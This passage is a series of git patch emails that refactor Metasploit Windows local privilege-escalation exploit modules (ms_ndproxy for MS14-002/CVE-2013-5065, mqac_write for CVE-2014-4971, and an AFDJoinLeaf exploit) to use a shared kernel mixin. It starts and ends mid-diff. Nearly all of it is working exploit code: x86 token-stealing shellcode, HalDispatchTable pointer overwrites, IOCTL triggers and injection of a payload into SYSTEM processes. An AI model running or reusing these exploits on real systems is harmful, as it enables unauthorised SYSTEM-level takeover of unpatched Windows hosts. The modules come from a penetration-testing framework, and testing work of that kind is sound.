mytarget['_TOKEN'] + "\x00\x00\x00" restore_token << "\x5a" restore_token << "\xc2\x10" - shellcode = padding + restore_ptrs + tokenstealing + shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token) this_proc.memory.write(shellcode_address_dep, shellcode) this_proc.memory.write(shellcode_address_nodep, shellcode) this_proc.memory.protect(0x00020000) - addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("vvVVV") + addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV') result = session.railgun.ws2_32.connect(socket, addr, addr.length) if result['return'] != 0xffffffff - print_error("The socket is not in the correct state") + print_error('The socket is not in the correct state') return end - print_status("Triggering AFDJoinLeaf pointer overwrite...") - result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0) - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Triggering AFDJoinLeaf pointer overwrite...') + session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0) + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - if not is_system? - print_error("Exploit failed") + unless is_system? + print_error('Exploit failed') return end - begin - proc = get_system_proc - print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}") - host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS) - mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024)) - - print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}") - host_process.memory.write(mem, payload.encoded) - host_process.thread.create(mem, 0) - rescue ::Exception => e - print_error("Failed to Inject Payload") - print_error(e.to_s) + proc = get_system_proc + print_status("Injecting the payload into SYSTEM process: #{proc['name']}") + unless execute_shellcode(payload.encoded, nil, proc['pid']) + print_error('An error occurred while executing the payload') end # Restore the token because apparently BSODs are frowned upon - print_status("Restoring the original token...") + print_status('Restoring the original token...') shellcode = padding + restore_ptrs + restore_token this_proc.memory.write(shellcode_address_dep, shellcode) this_proc.memory.write(shellcode_address_nodep, shellcode) - result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0) - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0) + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) end - end From 86e237721892a5f932939b06734b9ffb1f06ab75 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 4 Aug 2014 11:28:00 -0700 Subject: [PATCH 07/12] Switch ms_ndproxy to use the new WindowsKernel mixin --- modules/exploits/windows/local/ms_ndproxy.rb | 124 ++----------------- 1 file changed, 7 insertions(+), 117 deletions(-) diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index 1ac9a2ba6d..4186b09a40 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -4,11 +4,13 @@ ## require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking + include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process @@ -84,63 +86,6 @@ class Metasploit3 < Msf::Exploit::Local 'DisclosureDate'=> 'Nov 27 2013', 'DefaultTarget' => 0 })) - - end - - def add_railgun_functions - session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - - def open_device(dev) - - invalid_handle_value = 0xFFFFFFFF - - r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0) - - handle = r['return'] - - if handle == invalid_handle_value - return nil - end - - return handle - end - - def find_sys_base(drvname) - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") - - addresses.each do |address| - results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil - if current_drvname.downcase.include?('krnl') - return [address, current_drvname] - end - elsif drvname == results['lpBaseName'][0..results['return'] - 1] - return [address, current_drvname] - end - end - - return nil end def ring0_shellcode(t) @@ -148,25 +93,7 @@ class Metasploit3 < Msf::Exploit::Local restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax - tokenstealing = "\x52" # push edx # Save edx on the stack - tokenstealing << "\x53" # push ebx # Save ebx on the stack - tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 - tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD - tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS - tokenstealing << "\x8b\xc8" # mov ecx, eax - tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN - tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks - tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX - tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX - tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS - tokenstealing << "\x5b" # pop ebx # Restores ebx - tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! - - ring0_shellcode = restore_ptrs + tokenstealing + ring0_shellcode = restore_ptrs + token_stealing_shellcode(t) return ring0_shellcode end @@ -211,33 +138,8 @@ class Metasploit3 < Msf::Exploit::Local def disclose_addresses(t) addresses = {} - vprint_status("Getting the Kernel module name...") - kernel_info = find_sys_base(nil) - if kernel_info.nil? - vprint_error("Failed to disclose the Kernel module name") - return nil - end - vprint_good("Kernel module found: #{kernel_info[1]}") - - vprint_status("Getting a Kernel handle...") - kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - kernel32_handle = kernel32_handle['return'] - if kernel32_handle == 0 - vprint_error("Failed to get a Kernel handle") - return nil - end - vprint_good("Kernel handle acquired") - - - vprint_status("Disclosing the HalDispatchTable...") - hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") - hal_dispatch_table = hal_dispatch_table['return'] - if hal_dispatch_table == 0 - vprint_error("Failed to disclose the HalDispatchTable") - return nil - end - hal_dispatch_table -= kernel32_handle - hal_dispatch_table += kernel_info[0] + hal_dispatch_table = find_haldispatchtable + return nil if hal_dispatch_table.nil? addresses["halDispatchTable"] = hal_dispatch_table vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") @@ -257,16 +159,12 @@ class Metasploit3 < Msf::Exploit::Local return addresses end - def check - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Detected end - handle = open_device("\\\\.\\NDProxy") + handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) if handle.nil? return Exploit::CheckCode::Safe end @@ -289,10 +187,6 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - - vprint_status("Adding the railgun stuff...") - add_railgun_functions - if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ @@ -322,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Local end print_status("Checking device...") - handle = open_device("\\\\.\\NDProxy") + handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) if handle.nil? fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found") else @@ -409,9 +303,5 @@ class Metasploit3 < Msf::Exploit::Local else fail_with(Failure::Unknown, "Error while executing the payload") end - - end - end - From a523898909fccd560cfa1d0df59a312b7a3bdb7b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 4 Aug 2014 11:47:39 -0700 Subject: [PATCH 08/12] Apply rubocop suggestions for ms_ndproxy --- modules/exploits/windows/local/ms_ndproxy.rb | 183 +++++++++---------- 1 file changed, 89 insertions(+), 94 deletions(-) diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index 4186b09a40..47cb9bc48e 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Post::Windows::Process - def initialize(info={}) + def initialize(info = {}) super(update_info(info, { - 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', - 'Description' => %q{ + 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', + 'Description' => %q( This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used @@ -26,31 +26,31 @@ class Metasploit3 < Msf::Exploit::Local pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to work the service "Routing and Remote Access" must be running on the target system. - }, - 'License' => MSF_LICENSE, - 'Author' => + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Unknown', # Vulnerability discovery 'ryujin', # python PoC 'Shahin Ramezany', # C PoC 'juan vazquez' # MSF module ], - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'Payload' => + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'Payload' => { - 'Space' => 4096, + 'Space' => 4096, 'DisableNops' => true }, - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, - 'Targets' => + 'Targets' => [ - [ 'Automatic', { } ], - [ 'Windows XP SP3', + ['Automatic', {}], + ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct } ], - [ 'Windows Server 2003 SP2', + ['Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, '_KPROCESS' => "\x38", @@ -69,40 +69,38 @@ class Metasploit3 < Msf::Exploit::Local } ] ], - 'References' => + 'References' => [ - [ 'CVE', '2013-5065' ], - [ 'MSB', 'MS14-002' ], - [ 'OSVDB' , '100368'], - [ 'BID', '63971' ], - [ 'EDB', '30014' ], - [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ], - [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'], - [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ], - [ 'URL', 'http://www.secniu.com/blog/?p=53' ], - [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ], - [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ] + %w(CVE 2013-5065), + %w(MSB MS14-002), + %w(OSVDB 100368), + %w(BID 63971), + %w(EDB 30014), + %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/), + %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486), + %w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp), + %w(URL http://www.secniu.com/blog/?p=53), + %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html), + %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html) ], - 'DisclosureDate'=> 'Nov 27 2013', - 'DefaultTarget' => 0 + 'DisclosureDate' => 'Nov 27 2013', + 'DefaultTarget' => 0 })) end def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax ring0_shellcode = restore_ptrs + token_stealing_shellcode(t) - return ring0_shellcode + ring0_shellcode end def fill_memory(proc, address, length, content) - - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") - + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') unless proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + vprint_error('Failed to allocate memory') return nil end @@ -111,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end - return address + address end def create_proc @@ -125,14 +123,14 @@ class Metasploit3 < Msf::Exploit::Local cmd = "#{windir}\\System32\\notepad.exe" # run hidden begin - proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) + proc = session.sys.process.execute(cmd, nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError # when running from the Adobe Reader sandbox: # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied. return nil end - return proc.pid + proc.pid end def disclose_addresses(t) @@ -140,37 +138,36 @@ class Metasploit3 < Msf::Exploit::Local hal_dispatch_table = find_haldispatchtable return nil if hal_dispatch_table.nil? - addresses["halDispatchTable"] = hal_dispatch_table - vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") - vprint_status("Getting the hal.dll Base Address...") - hal_info = find_sys_base("hal.dll") + vprint_status('Getting the hal.dll Base Address...') + hal_info = find_sys_base('hal.dll') if hal_info.nil? - vprint_error("Failed to disclose hal.dll Base Address") + vprint_error('Failed to disclose hal.dll Base Address') return nil end hal_base = hal_info[0] vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] - addresses["HaliQuerySystemInfo"] = hali_query_system_information + addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") - return addresses + vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") + addresses end def check - if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/ return Exploit::CheckCode::Detected end - handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) - if handle.nil? - return Exploit::CheckCode::Safe - end + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) + return Exploit::CheckCode::Safe if handle.nil? + session.railgun.kernel32.CloseHandle(handle) - os = sysinfo["OS"] + os = sysinfo['OS'] case os when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears @@ -183,27 +180,26 @@ class Metasploit3 < Msf::Exploit::Local else return Exploit::CheckCode::Safe end - end def exploit - if sysinfo["Architecture"] =~ /wow64/i - fail_with(Failure::NoTarget, "Running against WOW64 is not supported") - elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo['Architecture'] =~ /x64/ + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the target system...") - os = sysinfo["OS"] + print_status('Detecting the target system...') + os = sysinfo['OS'] if os =~ /windows xp.*service pack 3/i my_target = targets[1] print_status("Running against #{my_target.name}") - elsif ((os =~ /2003/) and (os =~ /service pack 2/i)) + elsif (os =~ /2003/) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") - elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) + elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") end @@ -212,96 +208,95 @@ class Metasploit3 < Msf::Exploit::Local end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) + print_status('Checking device...') + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found") + fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found') else - print_good("\\\\.\\NDProxy found!") + print_good('\\\\.\\NDProxy found!') end - print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") + print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.') else - print_good("Addresses successfully disclosed.") + print_good('Addresses successfully disclosed.') end - - print_status("Storing the kernel stager on memory...") + print_status('Storing the kernel stager in memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Storing the trampoline to the kernel stager on memory...") + print_status('Storing the trampoline to the kernel stager on memory...') trampoline = "\x90" * 0x38 # nops trampoline << "\x68" # push opcode - trampoline << [0x1000].pack("V") # address to push + trampoline << [0x1000].pack('V') # address to push trampoline << "\xc3" # ret trampoline_addr = 0x1 result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing trampoline on memory") + fail_with(Failure::Unknown, 'Error while storing trampoline on memory') else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end - print_status("Storing the IO Control buffer on memory...") + print_status('Storing the IO Control buffer on memory...') buffer = "\x00" * 1024 - buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call - buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call + buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call + buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call buffer_addr = 0x0d0d0000 result = fill_memory(this_proc, buffer_addr, buffer.length, buffer) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory") + fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory') else print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') magic_ioctl = 0x8fff23c8 # Values taken from the exploit in the wild, see references - ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) + session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') unless is_system? - fail_with(Failure::Unknown, "The exploitation wasn't successful") + fail_with(Failure::Unknown, 'The exploitation was not successful') end p = payload.encoded - print_good("Exploitation successful! Creating a new process and launching payload...") + print_good('Exploitation successful! Creating a new process and launching payload...') new_pid = create_proc if new_pid.nil? - print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...") + print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...') return end - print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...") + print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...") if execute_shellcode(p, nil, new_pid) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end From 9cd6353246e05274266d6f9a060cf2c7587e9a4d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 4 Aug 2014 12:15:39 -0700 Subject: [PATCH 09/12] Update mqac_write to use the mixin and restore pointers --- modules/exploits/windows/local/mqac_write.rb | 99 +++++--------------- modules/exploits/windows/local/ms_ndproxy.rb | 8 +- 2 files changed, 27 insertions(+), 80 deletions(-) diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index 6b6401dc6e..e8c3ae4b7f 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -4,16 +4,16 @@ ## require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking + include Msf::Exploit::Local::WindowsKernel include Msf::Post::Windows::Priv include Msf::Post::Windows::Process - INVALID_HANDLE_VALUE = 0xFFFFFFFF - def initialize(info = {}) super(update_info(info, 'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation', @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Local [ ['Windows XP SP3', { + 'HaliQuerySystemInfo' => 0x16bba, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", @@ -52,41 +53,13 @@ class Metasploit3 < Msf::Exploit::Local [ %w(CVE 2014-4971), %w(EDB 34112), - ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt'] + %w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt) ], 'DisclosureDate' => 'Jul 22 2014', 'DefaultTarget' => 0 )) end - def find_sys_base(drvname) - session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') - lp_image_base = %w(PBLOB lpImageBase out) - cb = %w(DWORD cb in) - lpcb_needed = %w(PDWORD lpcbNeeded out) - session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', - [lp_image_base, cb, lpcb_needed]) - image_base = %w(LPVOID ImageBase in) - lp_base_name = %w(PBLOB lpBaseName out) - n_size = %w(DWORD nSize in) - session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', - [image_base, lp_base_name, n_size]) - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*') - - addresses.each do |address| - results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname.nil? - if current_drvname.downcase.include?('krnl') - return [address, current_drvname] - end - elsif drvname == results['lpBaseName'][0..results['return'] - 1] - return [address, current_drvname] - end - end - end - # Function borrowed from smart_hashdump def get_system_proc # Make sure you got the correct SYSTEM Account Name no matter the OS Language @@ -106,20 +79,9 @@ class Metasploit3 < Msf::Exploit::Local end end - def open_device - handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC', - 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil) - handle = handle['return'] - if handle == 0 - print_error('Failed to open the \\\\.\\MQAC device') - return nil - end - handle - end - def check - handle = open_device - if handle.nil? || handle == INVALID_HANDLE_VALUE + handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? print_error('MSMQ installation not found') return Exploit::CheckCode::Safe end @@ -155,12 +117,9 @@ class Metasploit3 < Msf::Exploit::Local # results in a BSOD and so we should not let that happen. return unless check == Exploit::CheckCode::Appears - kernel_info = find_sys_base(nil) base_addr = 0xffff - print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") - - handle = open_device - return if handle.nil? || handle == INVALID_HANDLE_VALUE + handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + return if handle.nil? this_proc = session.sys.process.open unless this_proc.memory.writable?(base_addr) @@ -175,41 +134,29 @@ class Metasploit3 < Msf::Exploit::Local return end - hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) - hKernel = hKernel['return'] - halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, - 'HalDispatchTable') - halDispatchTable = halDispatchTable['return'] - halDispatchTable -= hKernel - halDispatchTable += kernel_info[0] - print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") + haldispatchtable = find_haldispatchtable + return if haldispatchtable.nil? + print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}") - tokenstealing = "\x52" # push edx # Save edx on the stack - tokenstealing << "\x53" # push ebx # Save ebx on the stack - tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 - tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD - tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS - tokenstealing << "\x8b\xc8" # mov ecx, eax - tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN - tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks - tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX - tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX - tokenstealing << "\x89\x90" + target['_TOKEN'] + 